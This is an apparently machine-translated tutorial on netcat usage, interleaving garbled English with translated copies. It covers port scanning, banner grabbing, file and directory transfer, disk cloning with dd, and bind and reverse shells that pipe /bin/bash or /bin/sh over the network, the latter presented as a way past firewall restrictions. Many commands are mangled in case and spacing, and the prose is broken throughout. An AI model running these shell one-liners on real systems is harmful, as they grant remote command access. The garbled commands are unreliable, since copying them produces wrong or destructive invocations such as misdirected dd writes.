Linux NCAT commands

Netcat is a Swiss Army knife in a network tool that can read and write data through TCP and UDP on the network. By combining and redirecting with other tools, you can use it in a variety of ways in your script. It's amazing what you can do with the Netcat command. What Netcat do is create a link between the two computers and return two data streams, and what you can do after that is your imagination. You can create a server, transfer files, chat with friends, stream streaming media, or use it as a standalone client for other protocols. Here are some examples of using netcat. [A (172.31.100.7) B (172.31.100.23)]
Linux netcat command examples1. Port Scanning Port scanning is do by system admin and hackers to find the open ports on some machine. It helps them to identify the venerability in the system. $NC-Z-v-n 172.31.100.7 21-25 It can work in both TCP and UDP mode, default was TCP mode, to-change-to-UDP use-u option Z option tell Netcat to use zero IO. I.e the connection are closed as soon as it opens and no actual data exchange take PLA Ce. V option is used for verbose option. n option tell Netcat does not use the DNS lookup for the address. This command would print all of the open ports between to 25. Banner is a text this services sends when you connects to them. Banner is very usefull when is trying to velberability in the system as it identify the type and version of the Serv Ices. NOTE Not all services may send banner. Once you has found the open ports you can easily grab the service banner by connecting to them using Netcat. $ nc-v 172.31.100.7 21 The Linux netcat command would connect to open port and would print the banner of the service running at that port.	translator information Linux netcat Command instance: 1, port scan Port scanning is often used by system administrators and hackers to discover ports that are open on some machines to help them identify vulnerabilities in the system. $nc-Z-v-n 172.31.100.7 21-25 can be run in TCP or UDP mode, default is TCP, The-u parameter is adjusted to UDP. The Z parameter tells Netcat to use 0 IO, closes the connection immediately after the connection is successful, and does not exchange data (thank you @jxing for pointing) The v parameter refers to the use of redundancy option (Translator Note: Verbose output) The N parameter tells Netcat not to use DNS to reverse-query the domain name of an IP address This command prints all open ports from 21 to 25. Banner is a text that banner is a text message sent to you by a service that you connect to. Banner information is useful when you are trying to identify a vulnerability or the type and version of a service. However, not all services will send banner. Once you find an open port, you can easily crawl their banner using the NETCAT connection service. The $ nc-v 172.31.100.7 netcat command connects open port 21 and prints the banner information that is running on this port.
2. Chat Server If you want to chat with your friend there is numerous software and messenger services available At your disposal. But the What if you does not has that luxury anymore like inside Your computer lab, where all outside connections is Restricted, how would you communicate to your friend who was sitting in the next. Don ' t worry my friend because Netcat have a solution for you just create a chat server and a predetermined port a nd He can connects to you. Server $NC-L 1567 The Linux netcat command starts a TCP server at Port 1567 with stdout and stdin for input output stream i.e. the output is displayed at the shell and input are read from Shell. Client $nc 172.31.100.7 1567 After this whatever your type on Machine b will appear on A and Vice-versa.	Translator Information Chat Server If you want to talk to your friends, there are a lot of software and information services available for you to use. However, if you do not have such extravagant configuration, such as you in the computer lab, all the external connection is limited, how do you and all the friends sitting in the next room all day to communicate that? Don't be depressed, Netcat provides a way for you to create a chat server, a pre-determined port, so that he can reach you. Server $NC-L 1567 The Netcat command initiates a TCP server on port 1567, and all standard outputs and inputs are output to that port. Both the output and the input are shown in this shell. Client $NC 172.31.100.7 1567 Whatever you type on machine B will appear on machine A.
3. File Transfer Most of the time we is trying to transfer file over network and stumble upon the problem which tool-to-use. There is again numerous methods available like FTP, SCP, SMB etc. But was it really worth the effort to install and configure such complicated software and create a sever at your machine wh En need to transfer one file and only once. Suppose want to transfer a file ' File.txt ' from A to B Anyone can is server or client, lets make A as server and B as client. Server $NC-L 1567 < file.txt Client $NC-n 172.31.100.7 1567 > file.txt Here we have created a servers at redirected the Netcat input from file file.txt, so if any connection is successful L The Netcat send the content of the file. Again at the client we had redirect the output of Netcat to file.txt. When B connects to a, a sends the file content and B save this content to file file.txt. It is not necessary does create the source of file as server we can work in the Eopposeit order also. Like in the below case we be sending file from B to a but server is created at a. This time we are need to redirect ouput of Netcat at-to file and input at-B from file. B as Server Server $NC-L 1567 > file.txt Client $NC 172.31.100.23 1567 < file.txt	Translator Information 3, File transfer Most of the time, we are trying to transfer files over a network or other tool. There are many ways, like FTP,SCP,SMB and so on, but when you just need to transfer files temporarily or once, it's really worth wasting time installing and configuring a software on your machine. Suppose you want to pass a file file.txt from a to B. A or B can be a server or a client, the following, let a as a server, B is the client. Server $NC-L 1567 < file.txt Client $NC-n 172.31.100.7 1567 > file.txt Here we create a server on a and redirect the input of netcat to file file.txt, then when any successful connection is made to that port, Netcat will send file contents. At the client we redirect the output to File.txt, when B connects to A,a to send the file contents, B saves the file contents to file.txt. There is no need to create a file source as a server, and we can use it in the opposite way. Like the following we send files from B to a, but the server is created on a, this time we only need to redirect the output of the netcat and redirect the input file of B. B as Server Server $NC-L 1567 > file.txt Client NC 172.31.100.23 1567 < file.txt
4. Directory Transfer Sending file is easy if you want to send more than one files, or a whole directory, it easy just use archive tool Tar to archive the files first and then send this archive. Suppose want to transfer a directory over the network from a to B. Server $tar-cvf–dir_name | Nc-l 1567 Client $NC-N 172.31.100.7 1567 | TAR-XVF- Here at server A we are creating the tar archive and redirecting it outout at the console through-. Then we were piping it to netcat which was used to send it over network. At Client We is just downloading the archive file from the server using the netcat and piping it output tar tool to Extr Act the files. Want to conserve bandwidth by compressing the archive, we can use bzip2 or other tool specific to content of files. Server $tar-cvf–dir_name| Bzip2-z | Nc-l 1567 Compress the archive using the Bzip2 utility. Client $NC-N 172.31.100.7 1567 | Bzip2-d |TAR-XVF- Decompress the archive using BZIP2 archive	translator information 4, the directory transport Sending a file is simple, but if we want to send multiple files, or the entire directory, just as simple, only need to use the compression tool tar, compressed after the sending of compressed packets. If you want to transfer a directory over the network from A to B. Server $tar-cvf–dir_name | nc-l 1567 Client   $nc-n 172.31.100.7 1567 | tar -XVF- here on a server, we create a tar archive package and pass-redirect it on the console, then use the pipeline, redirect to Netcat, Netcat can send it over the network. At the client we download the package through the Netcat pipeline and then open the file. If you want to save bandwidth transfer compression packets, we can use bzip2 or other tools to compress. Server   $tar-cvf–dir_name| bzip2-z | nc-l 1567 via bzip2 compression Client & nbsp; $NC-N 172.31.100.7 1567 | bzip2-d |tar-xvf- use bzip2 to extract
5. Encrypt your data when sending over the network If is worried about the security of data being sent over the networ K can encrypt your data before sending using some tool like mcrypt. Server $nc localhost 1567 | mcrypt–flush–bare-f-q-d-M ECB > file.txt Encrypt the data using the MCrypt tool. Client $mcrypt –flush–bare-f-q-m ECB < file.txt | nc-l 1567 Decrypt the data using the MCrypt tool. Both The above commands would propmt for PASSOWRD make sure to use the same password on Both. Here we have the used MCrypt for encryption but the any tool can be used.	translator information 5. Encrypt the data you send over the network If you are concerned about the security of your data being sent over the Internet, you can encrypt it with a tool such as mcrypt before sending your data. Server-side $nc localhost 1567 | mcrypt–flush–bare-f-q-d-M ECB > file.txt encrypt data using the MCrypt tool. Client $mcrypt –flush–bare-f-q-m ECB < file.txt | nc-l 1567 More than two commands will prompt for a password, ensuring that the same password is used on both ends. Here we use MCrypt for encryption, using any other encryption tool.
6. Stream a video Not the best method to stream but if the server doesn ' t has the specific tools, then with Netcat we stil L have hope. Server $cat Video.avi | nc-l 1567 Here is just reading the video file and redirecting its output to Netcat Client $nc 172.31.100.7 1567 | Mplayer-vo X11-cache- Here is reading the data from the socket and redirecting it to MPlayer.	translator information 6. Streaming video While not the best way to generate streaming video, if there are no specific tools on the server, using Netcat, we still have the hope of doing this. Server-side $cat Video.avi | nc-l 1567 Here we just read from a video file and redirect output to the Netcat client $nc 172.31.100.7 1567 | mplayer-vo x11-cache- Here we read the data from the socket and redirect it to MPlayer.
7. Cloning a device If you had just installed and configured a Linux machine and has the to do the same to other machine too And do is want to do the configuration again. No need to repeat the process just boot the other machine with some boot-able pen drive and clones you machine. Cloning a linux pc is very simple. Suppose your system disk IS/DEV/SDA Server $dd if=/dev/sda | nc-l 1567 Client $nc-N 172.31.1 00.7 1567 | DD OF=/DEV/SDA DD is a tool which reads the raw data from the disk, we be just redirecting its output stream thro Ugh a netcat server to the other machine and writing it to the disk, it'll copy everything along with the partition  table. But if we have already do the partition and need to move only the Root partition we can change SDA W ith sda1, sda2 etc depending where out root is installed.	Translator Information 7, cloning a device If you have installed a Linux machine and need to repeat the same operation to other machines, and you do not want to repeat the configuration again. Do not need to re-configure the installation process, just start another machine with some boot can drive the disk and clone your machine. Cloning a Linux PC is simple, assuming your system is on disk/DEV/SDA Server $DD IF=/DEV/SDA | Nc-l 1567 Client $NC-N 172.31.100.7 1567 | DD OF=/DEV/SDA DD is a tool that reads raw data from disk, I redirect its output through the NETCAT server to another machine and writes it to disk, and it copies all of the information along with the partitioned table. But if we have already partitioned and only need to clone the root partition, we can change SDA to sda1,sda2 according to the location of our system root partition. And so on.
8. Opening a shell We have a used remote Shell using the telnet and ssh but what if they is not installed and we does not has the permission to Install them, then we can create remote shell using Netcat also. If your netcat support-c and-e option (traditional netcat) Server $NC-L 1567-E/bin/bash-i Client $NC 172.31.100.7 1567 Here we had created a NETCAT server and indicated it to Run/bin/bash command when connection was successful. If netcat doesn ' t support-c or-e options (OpenBSD netcat) We can still crate remote shell. Server $mkfifo/tmp/tmp_fifo$cat/tmp/tmp_fifo | /bin/sh-i 2>&1 | Nc-l 1567 >/tmp/tmp_fifo Here we have created a FIFO. We have piped the content of this FIFO file using pipe command to a shell 2>&1 is used to redirect stderr to S Ame file where stdout is redirected which are piped to Netcat server running at Port 1567. Now there again we have redirected the output of Netcat to FIFO file. Explanation: The input received from network was written to FIFO file. The FIFO file is a read by Cat command and it content was sent to SH command. Sh command processes the received input and write it back to Netcat. Netcat send the output over the network to client. Possible because pipe causes the command to run in parallel. The FIFO file is used instead of regular file because the FIFO causes the read-to-wait while if it's an ordinary file th E cat command would has ended as soon as started reading an empty file. At client are just as simple as conecting to server Client $NC-N 172.31.100.7 1567 And you'll get a shell prompt at the client	Translator Information8, open a shell We have used remote shell-with telnet and ssh, but if these two commands are not installed and we do not have permission to install them, we can also use Netcat to create a remote shell. Suppose your netcat supports the-C-E parameter (default netcat) Server $NC-L 1567-E/bin/bash-i Client $NC 172.31.100.7 1567 Here we have created a NETCAT server and indicated that it was executed when it was successfully connected/bin/bash If Netcat does not support the-C or-e parameter (OpenBSD netcat), we can still create a remote shell Server $mkfifo/tmp/tmp_fifo$cat/tmp/tmp_fifo | /bin/sh-i 2>&1 | Nc-l 1567 >/tmp/tmp_fifo Here we create a FIFO file and then use the Pipeline command to direct the FIFO file content to the shell 2>&1. is used to redirect standard error output and standard output, and then pipe to Netcat to run on port 1567. At this point, we have redirected the output of Netcat to the FIFO file. Description Input received from the network is written to the FIFO file The Cat command reads the FIFO file and sends its contents to the SH command The SH command process receives input and writes it back to Netcat. Netcat send output to client via network As to why it succeeds because the pipeline executes the command in parallel, the FIFO file is used to replace the normal file because the FIFO makes the read wait and if it is a normal file, the cat command ends as soon as possible and begins to read the empty file. Simply connect to the server on the client Client $NC-N 172.31.100.7 1567 you will get a shell prompt on the client
9. Reverse Shell Reverse Shell is shell opened at the client side. Reverse Shell named because unlike other configuration here server is using the services provided by the client. Server $nc-L 1567 At the client side simply tell Netcat to execute the shell when connection was compl Ete. Client $nc 172.31.100.7 1567-e/bin/bash Now what's so special about reverse shell. Reverse shell is often used to bypass the firewall restrictions like blocked inbound connections. For example, I has a private IP address of 172.31.100.7 and I connect to the outside network with a proxy server. If I want to access a shell at this machine from outside the network say 1.2.3.4 and then I'll use reverse shell for this pur Pose.	Translator Information Reverse shell A reverse shell is a shell that opens on a client. The reverse shell is named because it differs from other configurations, where the server uses the services provided by the customer. Service side $NC-L 1567 On the client side, simply tell Netcat to execute the shell after the connection is complete. Client $NC 172.31.100.7 1567-e/bin/bash Now, what's so special about the reverse shell? The reverse shell is often used to circumvent firewall restrictions, such as blocking inbound connections. For example, I have a private IP address of 172.31.100.7, and I use a proxy server to connect to the external network. If I want to access this machine from outside the network such as 1.2.3.4 Shell, then I will use the reverse shell for this purpose.

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Linux NCAT commands